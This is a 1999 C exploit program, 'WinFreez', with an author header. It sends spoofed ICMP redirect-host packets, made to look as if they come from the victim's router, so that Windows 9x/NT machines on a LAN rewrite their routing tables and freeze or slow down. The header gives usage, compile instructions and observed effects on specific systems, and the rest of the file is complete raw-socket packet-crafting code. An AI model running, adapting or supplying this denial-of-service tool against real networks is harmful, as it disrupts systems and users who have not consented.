/*
 WinFreez.c by Delmore <delmore@moscowmail.com>

 ICMP/Redirect-host message storm freeze Win9x/NT(sp4) box
 in LAN.

 Usage: winfreez sendtoip sendfromip time
 where <sendtoip> is victim host, <sendfromip> is router
 for victim host, <time> is time in seconds to freeze victim.

 Note:
 I've written small exploit for freeze win9x/nt boxes in LAN.
 Proggy initiates ICMP/Redirect-host messages storm from router
 (use router ip). Windows will receive redirect-host messages
 and change own route table, therefore it will be frozen
 or slowly working during this time.

 On victim machine route table changes viewing with:
 ROUTE PRINT
 command in ms-dos box.

 Exploit show different result for different system configuration.

 System results:

 p200/16ram/win95osr2 is slowly execute application
 after 20 seconds of storm.

 p233/96ram/nt4-sp4 is slowly working after 30
 seconds of storm.

 p2-266/64ram/win95 working slowly and can't normal execute
 application.
 

 Compiled on RedHat Linux 5, Kernel 2.0.35 (x86)
 gcc ./winfreez.c -o winfreez

 --- for Slackware Linux, Kernel 2.0.30
 If you can't compile due to ip_sum not defined errors,
 replace (line 207):
  ip->ip_sum = 0;
 to line:
  ip->ip_csum = 0;
 ---

 Soldiers Of Satan group
 Russia, Moscow State University, 05 march 1999
 http://sos.nanko.ru

 Thanx to Mark Henderson.

 */

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <errno.h>

/*
 * Structure of an icmp header (from sparc header).
 */

u_short in_cksum (u_short *addr, int len);
void attack( char *sendtoip, char *sendfromip, time_t wtime, int s );

void main (int argc, char **argv)
{
  time_t wtime;
  /* setsockopt on Solaris 2.5.1 wants (char *) for 4th arg */
  char *sendtoip, *sendfromip, *on;
  int s;

  if (argc != 4)
    {
      fprintf (stderr, "usage: %s sendto sendfrom time\n", argv[0]);
      exit (1);
    }

  sendtoip = (char *)malloc(strlen(argv[1]) + 1);
  strcpy(sendtoip, argv[1]);

  sendfromip = (char *)malloc(strlen(argv[2]) + 1);
  strcpy(sendfromip, argv[2]);

  wtime = atol(argv[3]);

  if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
    {
      fprintf (stderr, "socket creation error: %s\n", strerror(errno));
      exit (1);
    }

#ifdef IP_HDRINCL
  if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof (on)) < 0)
    {
      fprintf (stderr, "sockopt IP_HDRINCL error\n" );
      exit (1);
    }
#endif

  printf("winfreez by Delmore, <delmore@moscowmail.com>\n");
  printf("Soldiers Of Satan group, http://sos.nanko.ru\n\n");
  printf("sendto = %s\n", sendtoip);
  printf("sendfrom = %s\n", sendfromip);
  printf("time = %i s\n", wtime);

  attack( sendtoip, sendfromip, wtime, s );

  free( (void *) sendtoip );
  free( (void *) sendfromip );
}
 

void attack( char *sendtoip, char *sendfromip, time_t wtime, int s )
{
  time_t curtime, endtime;
  int i1, i2, i3, i4;
  char redir[21];
  char buf[100];
  struct ip *ip = (struct ip *) buf;
  struct icmp *icmp = (struct icmp *) (ip + 1);
  struct hostent *hp;
  struct sockaddr_in dst;

  if(wtime==0) return;

  if ((hp = gethostbyname (sendtoip)) == NULL)
   if ((ip->ip_dst.s_addr = inet_addr (sendtoip)) == -1)
     {
      fprintf (stderr, "%s: unknown sendto\n", sendtoip);
      exit (1);
     }

  if ((hp = gethostbyname (sendfromip)) == NULL)
   if ((ip->ip_src.s_addr = inet_addr (sendfromip)) == -1)
     {
      fprintf (stderr, "%s: unknown sendfrom\n", sendfromip);
      exit (1);
     }

  endtime = time(NULL) + wtime;

  srand((unsigned int) endtime);

 do {
  bzero (buf, sizeof buf);

  /* sendto/gateway */
  hp = gethostbyname (sendtoip);
  bcopy (hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
  bcopy (hp->h_addr_list[0], &icmp->icmp_gwaddr.s_addr, hp->h_length);

  /* sendfrom */
  hp = gethostbyname (sendfromip);
  bcopy (hp->h_addr_list[0], &ip->ip_src.s_addr, hp->h_length);

  /* generate redirect*/
  i1 = 1+(int) (223.0*rand()/(RAND_MAX+1.0));
  i2 = 1+(int) (253.0*rand()/(RAND_MAX+1.0));
  i3 = 1+(int) (253.0*rand()/(RAND_MAX+1.0));
  i4 = 1+(int) (253.0*rand()/(RAND_MAX+1.0));

  bzero (redir, sizeof redir);
  sprintf(redir,"%u.%u.%u.%u", i4, i3, i2, i1 );

  hp = gethostbyname (redir);
  bcopy (hp->h_addr_list[0], &icmp->icmp_ip.ip_dst.s_addr, hp->h_length);

  ip->ip_v = 4;
  ip->ip_hl = sizeof *ip >> 2;
  ip->ip_tos = 0;
  ip->ip_len = htons (sizeof buf);
  ip->ip_id = htons (4321);
  ip->ip_off = 0;
  ip->ip_ttl = 255;
  ip->ip_p = 1;
  ip->ip_sum = 0;               /* kernel fills this in */

  bcopy (&ip->ip_dst.s_addr, &icmp->icmp_ip.ip_src.s_addr, sizeof
(ip->ip_dst.s_addr));
  icmp->icmp_ip.ip_v = 4;
  icmp->icmp_ip.ip_hl = sizeof *ip >> 2;
  icmp->icmp_ip.ip_tos = 0;
  icmp->icmp_ip.ip_len = htons (100);   /* doesn't matter much */
  icmp->icmp_ip.ip_id = htons (3722);
  icmp->icmp_ip.ip_off = 0;
  icmp->icmp_ip.ip_ttl = 254;
  icmp->icmp_ip.ip_p = 1;
  icmp->icmp_ip.ip_sum = in_cksum ((u_short *) & icmp->icmp_ip, sizeof *ip);

  dst.sin_addr = ip->ip_dst;
  dst.sin_family = AF_INET;

  icmp->icmp_type = ICMP_REDIRECT;
  icmp->icmp_code = 1; /* 1 - redirect host, 0 - redirect net */
  icmp->icmp_cksum = in_cksum ((u_short *) icmp, sizeof (buf) - sizeof
(*ip));

  if( sendto( s, buf, sizeof buf, 0, (struct sockaddr *) &dst, sizeof dst) <
0 )
    {
      fprintf (stderr, "sendto error\n");
      exit (1);
    }

  }while (time(NULL)!=endtime);
}

/*
 * in_cksum -- Checksum routine for Internet Protocol family headers (C
 * Version) - code from 4.4 BSD
 */
u_short in_cksum (u_short *addr, int len)
{
  register int nleft = len;
  register u_short *w = addr;
  register int sum = 0;
  u_short answer = 0;

  /*
   * Our algorithm is simple, using a 32 bit accumulator (sum), we add
   * sequential 16 bit words to it, and at the end, fold back all the
   * carry bits from the top 16 bits into the lower 16 bits.
   */
  while (nleft > 1)
    {
      sum += *w++;
      nleft -= 2;
    }

  /* mop up an odd byte, if necessary */
  if (nleft == 1)
    {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
    }
  /* add back carry outs from top 16 bits to low 16 bits */
  sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
  sum += (sum >> 16);           /* add carry */
  answer = ~sum;                /* truncate to 16 bits */
  return (answer);
}